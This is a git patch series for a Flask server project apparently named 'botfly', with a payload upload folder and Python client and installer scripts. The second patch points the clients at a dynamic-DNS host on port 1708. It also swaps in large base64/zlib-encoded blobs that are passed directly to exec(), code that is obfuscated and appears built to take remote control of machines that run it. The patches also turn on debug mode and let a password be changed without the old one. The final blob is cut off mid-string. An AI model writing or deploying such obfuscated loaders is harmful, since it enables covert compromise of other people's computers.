From 9638dd824e530f4452708fe713d39d0d393f61a1 Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Fri, 2 Feb 2018 20:55:11 -0800 Subject: [PATCH 1/9] Added password changes, allow for upgradable reqs --- requirements.txt | 49 +++++++++++++++++------------------ server/server.py | 21 +++++++++++---- server/serverclasses.py | 5 ++++ server/templates/profile.html | 42 ++++++++++++++++++++++++++++++ 4 files changed, 87 insertions(+), 30 deletions(-) create mode 100644 server/templates/profile.html diff --git a/requirements.txt b/requirements.txt index 25bbb4b..2154ebc 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,25 +1,24 @@ -blinker==1.4 -cffi==1.9.1 -click==6.6 -cryptography==1.7.1 -enum-compat==0.0.2 -eventlet==0.20.1 -Flask==0.12 -Flask-Login==0.4.0 -Flask-Mail==0.9.1 -Flask-SocketIO==2.8.2 -Flask-SQLAlchemy==2.1 -greenlet==0.4.11 -idna==2.2 -itsdangerous==0.24 -Jinja2==2.8.1 -MarkupSafe==0.23 -pyasn1==0.1.9 -pycparser==2.17 -pyminifier==2.1 -pyOpenSSL==16.2.0 -python-engineio==1.1.0 -python-socketio==1.6.2 -six==1.10.0 -SQLAlchemy==1.1.4 -Werkzeug==0.11.15 +blinker>=1.4 +cffi>=1.9.1 +click>=6.6 +enum-compat>=0.0.2 +eventlet>=0.20.1 +Flask>=0.12 +Flask-Login>=0.4.0 +Flask-Mail>=0.9.1 +Flask-SocketIO>=2.8.2 +Flask-SQLAlchemy>=2.1 +greenlet>=0.4.11 +idna>=2.2 +itsdangerous>=0.24 +Jinja2>=2.8.1 +MarkupSafe>=0.23 +pyasn1>=0.1.9 +pycparser>=2.17 +pyminifier>=2.1 +pyOpenSSL>=16.2.0 +python-engineio>=1.1.0 +python-socketio>=1.6.2 +six>=1.10.0 +SQLAlchemy>=1.1.4 +Werkzeug>=0.11.15 diff --git a/server/server.py b/server/server.py index f129e6a..92b665a 100644 --- a/server/server.py +++ b/server/server.py @@ -16,7 +16,7 @@ import flask from flask import request import flask_login -from flask_login import LoginManager, login_required +from flask_login import LoginManager, login_required, current_user from flask_socketio import SocketIO from flask_mail import Message, Mail from itsdangerous import URLSafeTimedSerializer @@ -27,7 +27,7 @@ To run: python server.py''' -DEBUG = False +DEBUG = True HOSTNAME = 'botfly.me' BASEDIR = os.path.abspath(os.path.dirname(__file__)) UPLOAD_FOLDER = 'payloads/' @@ -109,11 +109,22 @@ def logout(): return flask.redirect(flask.url_for('login')) -@app.route("/profile") +@app.route("/profile", methods=['GET', 'POST']) @login_required def change_password(): - flask.flash("Under construction") - flask.redirect(flask.url_for('index')) + errs = [] + if request.method == 'POST': + # Change password (redirect on success) + passwd1 = request.form.get('password1') + passwd2 = request.form.get('password2') + if passwd1 == passwd2: + UserManager.change_password(current_user.uname, passwd1) + flask.flash("Success!") + return flask.redirect(flask.url_for('index')) + else: + errs.append("Passwords do not match") + + return flask.render_template('profile.html', username=current_user.uname, errors=errs) @app.route("/invite", methods=['GET', 'POST']) diff --git a/server/serverclasses.py b/server/serverclasses.py index eba1154..037b291 100644 --- a/server/serverclasses.py +++ b/server/serverclasses.py @@ -36,6 +36,10 @@ def change_password(uname, newpassword): user = User.query.filter_by(uname=uname).first() if user: user.change_password(newpassword) + db.session.commit() + return True + else: + return False class User(UserMixin, db.Model): @@ -61,6 +65,7 @@ def validate(self, passwd): def change_password(self, newpasswd): self.pwhash = generate_password_hash(newpasswd) + return True def __repr__(self): return ''.format(self.uname) diff --git a/server/templates/profile.html b/server/templates/profile.html new file mode 100644 index 0000000..1ac51ee --- /dev/null +++ b/server/templates/profile.html @@ -0,0 +1,42 @@ + + +{% include 'header.html' %} + +
+
+
+
+ +
+
+ + +
+
+ +
+
+ + + +
+
+ +
+
+ +
+
+ {% if error %} +
+
+ {{ error }} +
+
+ {% endif %} +
+
+
+
+ + \ No newline at end of file From dfb29ce190dede19268b00cdc197c68aac47c50d Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Fri, 2 Feb 2018 21:06:58 -0800 Subject: [PATCH 2/9] client updates --- server/client/.id | 2 -- server/client/client.py | 3 +-- server/client/install.py | 2 +- server/client/minclient.py | 2 +- server/client/mininstall.py | 2 +- 5 files changed, 4 insertions(+), 7 deletions(-) delete mode 100644 server/client/.id diff --git a/server/client/.id b/server/client/.id deleted file mode 100644 index 9d62cd4..0000000 --- a/server/client/.id +++ /dev/null @@ -1,2 +0,0 @@ -49f20d3b-1c68-442c-ab24-40eba0d5b06f -Sumner \ No newline at end of file diff --git a/server/client/client.py b/server/client/client.py index c097802..db7cfde 100644 --- a/server/client/client.py +++ b/server/client/client.py @@ -21,8 +21,7 @@ __version__ = "1.2.1" -HOST = '50.159.66.236' -#HOST = 'localhost' +HOST = 'renmusxd.ddns.net' PORT = 1708 HOSTINFOFILE = '.host' IDFILE = '.id' diff --git a/server/client/install.py b/server/client/install.py index c42caf9..17c78c4 100644 --- a/server/client/install.py +++ b/server/client/install.py @@ -4,7 +4,7 @@ import sys import platform -HOST = '50.159.66.236' +HOST = 'renmusxd.ddns.net' PORT = 1708 HOSTINFOFILE = '.host' IDFILE = '.id' diff --git a/server/client/minclient.py b/server/client/minclient.py index 7fa70d8..1ad33a0 100644 --- a/server/client/minclient.py +++ b/server/client/minclient.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 import zlib, base64 -exec(zlib.decompress(base64.b64decode('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'))) +exec(zlib.decompress(base64.b64decode('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'))) # Created by pyminifier (https://github.com/liftoff/pyminifier) diff --git a/server/client/mininstall.py b/server/client/mininstall.py index fcc7966..91245fe 100644 --- a/server/client/mininstall.py +++ b/server/client/mininstall.py @@ -1,4 +1,4 @@ import zlib, base64 -exec(zlib.decompress(base64.b64decode('eJyVVm1z4jYQ/u5fofMXmwJ2ks6l1xucGxrIHVMuMIGbtpMwjLAFqDGSR5JDmJu7396V/J7AteVDImtXz749uxLdJVwotCEqwVJaNPvk5Uqmq0TwkFQyeSiXSYzVmoud9WkymwfO2zPv/O2v3uWld/HzpWNNJ3fz4PyXs3dGPLq9mdyMxsPA8bZcKscaDfJPGjnWbN6/m3+ZLqfjESC5Tu/D8y5GT0RIyllgn3tnNiIs5BFlm8D+Mr/pvrM/XDlt54E5yOm9GUyu539Nh+ARlQpNv/w2Hl0ju+v7/SSJie8P5gNksBFA+f7w1kZwzt4qlbz3/f1+72Gt6IV8p3WlPxU8IUIdxoDXhTNepCK7MpjZafhXCSMaqvLrQcGq90gOV2O8InHP18umUCoBYV2B7dyLmK4EFgfKIvLc83Pxa8A/uHgEyYAKEiouDj/A/prso28/gIJwNwLv+mKT7ghT8hgUFgLX914YOKgtZ8sEq+0xQ01lGQqaqJPKWtV/aa5w9S5lfTXmODrmoxIp8Y8cmiks1IgpIp7w0RpQkG2IuLo86/nF+jXM74Qk/Zg+kf9ju7/CLOJsmrXRR8HT5N+P9/wGi3q+YVz+3Sr7ZTy5ngX3jj87SEV2/jgjjj/GKQu3/Y0updM5IR5gsuNMy78fP7iwBv3h58nt8rb/GRr1OD894xh08PXdaDovHPruf04lDX06TxmRfnHCSw7GnBdBe634s+/lGAcwNrqFqMbj5c24/zFwupRJhePYsSKyRvnHEjK5FClbcvns6jHS0XOo9d5CCVBIufb9Tws0ynSBUogzNJn9abe0nIdBNcy8KbQ3c+/t/ZaGW7tjZ/S1Fx2pIp6qhupoOgQEF7Y7RIhWoAV6UuxSRkOsiAtSukYgQ1QixhW65YyAU0gQlQqGbnAsiYWUOOjNWqcEQH2N60UEZhtxnVStu++cVsvTPZFoYPIckkSdOFfTyxMwNUpIK71/UF+/2Z4e0Fi5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PfKcQC1SSYQLhwBQZ0CHXikALaRbO6vLhIokIBSmIj5VFS2DonQf9R9ud2ooHTO0JUxtu63vlbYD8wMr4NqOsjCmwFxDp9OFhF9Vy8KLl/VE6ERJ4ZelWh/PvgWmkqChKRRcB5WkIGV7gWYmArQXVCnCkOLN6tTTZM5mZa9AEZYot5+b12oEeGU2a/TPLWX519V8zYVX1laC4EdD4ppIR15EXeC/WcAWPAqowquYGGggTsoi3WMv6J5DRVSUrIE1wzvScKDsiz0FMEOAQv1vTplbwXTq74hWx97bLcjK2iRg7enUEjMU2vYDM/6Uu7pdzKQoGwqNJkMhuDD8PkjoowjKlqubOK95Gkem9GYTSoYyxpUeNHumNpE1aGSm6xKkQSOcEw3UqY3a091Ugb5oplr9+0CwHXAGxh+4nPlunj5NDtSgMrJW6a9EzRxX+Ww8145MmKC2rjdvUG9keJL8kBi5X6AizfXlOrG5nUIVQ9JxhLp75LRrcbzsuezBl7dcRoiConO4bP9zmxWQ3QKyIEUO26C9vq3gNT1ia+7qIukKB/nz2oP/puLZhVE8n4v4WkHgDLDYU+ZoF7AIt4ED9xdEWarucLh80gj3Z4u2c1xysbDKyWBAXhlq28DlcleQmGBpxl4einayo49a5Soog7J0j+EoEoHuBvOleyvQ730LwoqBQrqlsNg8ta7OwYvyQLF9f754rXmRaxqwUvPCaGoPoEfhESc1T12dFken99TDQJvrFGgtK09HXkmYajDDEi0ienL9AzleSB8='))) +exec(zlib.decompress(base64.b64decode('eJyVVltz4jYUfvev0PrFpoCd5KHdyeDs0EC2TNnABDJtJ2EYYQtQY0seSQ4wO7u/vUfyBTuBbctDIuscfef2nSPRJOVCoQ1RKZbSovknr1YyW6WCh+Qok4dqmcZYrblIrN8ms3ngCMKSTO4jL4qY9BhRjjWdPMyDy18uPhqV0f3d5G40HgaOt+USxKNB8Ukjx5rN+w/zx+lyOh4Bmuv0Pu2TGL0SISlngX3pXdiIsJBHlG0C+3F+1/1of7px2s4zc5DT+zCY3M7/mg7BKyoVmj7+Oh7dIrvr+/00jYnvD+YDZLARQPn+8N5GcM7eKpVe+/5ut/OwVvRCnmhd6U8FT4lQhzHgdeGMF6nIPhrM7TT8OwojGqrq61nBqvdCDjdjvCJxz9fLplAqAWHdgO3Ci5iuBBYHyiKy7/mF+D3gH1y8gGRABQkVF4cfYH9Nd9G3H0BBuBuBk77YZAlhSp6CwkLg+t4bAwe15WyZYrU9ZaipLENBU3VWWav6b82Vrj5krK/GHEenfFQiI/6JQzOFhRoxRcQrPlkDCrINETc/X/T8cv0e5ndC0n5MX8n/sd1fYRZxNs1b6bPgWfrvx3t+g0U93zCu+G5V/TKe3M6CJ8efHaQiiT/OieOPccbCbX+jS+l0zogHmCScafn30wcX1qA//DK5X973v0CjnuanZxyDDr59GE3npUPf/S+ZpKFP5xkj0i9PeOnBmPM